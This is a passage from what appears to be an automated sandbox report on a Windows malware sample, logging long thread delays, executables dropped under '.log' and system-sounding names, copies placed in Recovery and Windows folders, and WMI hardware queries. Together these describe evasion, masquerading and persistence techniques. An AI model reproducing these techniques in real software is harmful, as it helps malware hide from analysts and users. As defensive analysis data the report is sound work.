Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 1AB70000 memory reserve \| memory write watch

Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 599759	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 599031	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 598917	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 597764	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596400	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596277	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 595076	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594911	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594062	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593904	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593745	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593605	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593484	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593333	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593171	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593053	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592922	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592485	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592250	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592100	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591970	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591852	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591734	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591624	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591506	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591375	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591265	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591140	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591031	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590921	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590812	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590703	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590593	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590473	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590343	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590228	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590100	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589930	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589705	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589475	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589320	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 588967	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe	Window / User API: threadDelayed 682	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Window / User API: threadDelayed 4576	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Window / User API: threadDelayed 5033	Jump to behavior

Source: C:\comReviewintocommon\driverSavesNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\maBeiKPb.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xGvCnmjD.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VbfYWdkt.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XWWhkGoH.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tgjDTeKx.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BKssDYZe.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LtLImAfM.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MisrAuuZ.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kDbNjluP.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gzfXUzEp.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QOjHvYIG.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VLAgkoJG.log	Jump to dropped file

Source: C:\comReviewintocommon\driverSavesNet.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 8044	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -599871s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -599759s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -599031s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 4284	Thread sleep time: -18000000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -598917s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -597764s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -596400s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -596277s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -595076s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -594911s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -594484s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -594343s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -594062s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -593904s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -593745s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -593605s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 4284	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -593484s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -593333s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -593171s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -593053s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -592922s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -592485s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -592250s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -592100s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591970s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591852s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591734s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591624s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591506s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591375s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591265s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591140s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -591031s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590921s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590812s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590703s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590593s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590473s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590343s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590228s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -590100s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -589930s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -589705s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -589475s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -589320s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 5572	Thread sleep time: -588967s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe TID: 8100	Thread sleep time: -922337203685477s >= -30000s
Source: C:\comReviewintocommon\driverSavesNet.exe TID: 5324	Thread sleep time: -922337203685477s >= -30000s
Source: C:\comReviewintocommon\driverSavesNet.exe TID: 3568	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe TID: 7924	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe TID: 8004	Thread sleep time: -922337203685477s >= -30000s
Source: C:\comReviewintocommon\driverSavesNet.exe TID: 1804	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe TID: 4948	Thread sleep time: -922337203685477s >= -30000s
Source: C:\comReviewintocommon\driverSavesNet.exe TID: 7480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe TID: 2756	Thread sleep time: -922337203685477s >= -30000s
Source: C:\comReviewintocommon\driverSavesNet.exe TID: 6344	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\comReviewintocommon\driverSavesNet.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\fluent.exe

Code function: 0_2_006EA69B FindFirstFileW,FindFirstFileW,

0_2_006EA69B

Source: C:\Users\user\Desktop\fluent.exe

Code function: 0_2_04F26846 NtQueryInformationProcess,GetSystemInfo,

0_2_04F26846

Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 599759	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 599031	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 598917	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 597764	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596656	Jump to behavior
